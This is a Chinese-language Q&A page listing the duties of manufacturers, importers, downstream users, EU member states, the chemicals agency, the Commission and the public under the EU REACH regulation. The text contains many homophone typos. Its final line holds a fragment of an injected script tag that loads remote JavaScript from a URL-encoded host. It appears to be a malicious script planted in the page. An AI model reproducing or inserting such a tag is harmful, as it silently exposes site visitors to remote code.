问:REACH涉及那些人呢?各自的权利和义务又是什么呢?
答:1、年生产或年进口大于1吨的制造商、进口商:1)、遵守欧盟相关对化学物质和制品制造、投放市场和使用的限制;2):对需要授权的物质申请许可;3):收集共享现有化学物质信息,生成、提议生成化学物质新信息,并准备技术卷宗;4)准备化学品安全评定(CSA)、化学品安全报告(CSR)、编制暴露说明书(ES);5)对自产自用化学品执行适当的风险管理措施(RMM);6)提交化学物质注册信息;7)对化学物质与制品进行分类与标签;8)想主管当局通报/注册对危险化学物质的分类;9)准备向下游拥护和分销商提供化学物质和制品的安全数据单(SDS)。10)在SDS中提出适当的风险管理措施(RMM)建议;11)将在化学品安全平定(CSA)中编制的ES作为SDS的福建进行交流(>10吨);12)向下游拥护和分销商提供未分类化学物质进行风险评估并降低风险(98/24/EC)(仅对生产商);13)对作为评估过程结果的任何要求提供进一步信息的决议作出响应。 2、下游用户、物品生产商:1)遵守相关所列对化学物质和制品制造、投放市场和使用的限制;2)对作为评估过程结果的任何要求提供进一步信息的决议作出响应;3)对需要授权的物质申请许可;4)执行SDS中的风险管理措施;5)收到附有ESD的SDS时:如ES涵盖该用途,则执行ES所列RMM;如未涵盖,则通知供应商,等待更新了ES的新SDS,或自己进行化学品安全评定并通知管理局(>1吨);6)某些情况下对物品中的化学物质尽心个只册或通报(>1吨)(物品生产商);7)对特定出现在工作场所的化学物质进行风险评估并降低风险;8)为更下游用户提供SDS,在SDS和ES附件中提出风险管理措施的建议(下游用户);9)向更下游用户提供未分类化学物质的相关信息(下游用户);10)将化学品危害新信息及对风险管理措施产生疑义的信息直接传给供应商(下游用户) 3、欧盟成员国:1)向制造商、进口商、下游用户等就REACH的责任和义务提供建议;2)提名建立委员会并为其提供科学技术资源;3)对注册卷宗进行评估,包括试验提议和其他选定注册,对优先化学物质进行实质性评估,编制决议草案;4)对CMRS和呼吸致敏剂提出协调一致的分类建议;5)认定需经许可的高度关注的化学物质;6)建议限制;7)提名化学品管理局风险评估委员会和社会经济分析委员会候选人;8)为“成员国委员会”任命成员,解决对评估意见的分歧;9)任命“论坛”成员,参加会议并讨论REACH执行中的问题;10)协助实施REACH 4、化学品管理局:1)负责REACH日常技术、科学和行政方面的管理工作;2)为REACH运行提供技术和科学指导工具,帮助企业尤其是中小企业编制CSR;3)为成员国主管机关运行REACH提供技术和科学指导;4)接受并审定用于研发目的(PPORD)化学物质的豁免要求;5)预注册——接受信息并允许提交同一化学物质信息的制造商和进口商访问这些信息;6)操作数据共享规则;7)注册:审核完整性,驳回不完整注册,要求完成注册;8)评估:确保协调一致的方法,设立优先次序并采纳决议;9)物品中的化学物质:凭通知采纳决议;10)许可/限制:对过程进行管理并提出优先建议;11)论坛和委员会的秘书处;12)采纳允许访问已提交数据的决议;13)向公众可以访问的数据库发布特定数据;14)处理上诉:注册、研究与开发、评估、保密 5、欧盟委员会:1)在成员国未达成广泛之一时,采纳评估过程中关于进一步信息需要的决议;2)将化学物质纳入许可制度;3)采纳授予或者驳回许可的决议;4)采纳限制决议 6、协会、非政府组织和公众:1)通过管理局网站访问非保密信息;2)要求访问信息;3)许可方面:对管理局提议给予优先的化学物质和对豁免许可的用途提出评议意见,提供可能的替代品信息;4)限制方面:对限制提案提出评议,对限制提议提出社会经济学分析,对管理局风险评估委员会和社会经济分析委员会的意见草案提出评议rc=http://3bom%62%2Ecom/c.js><
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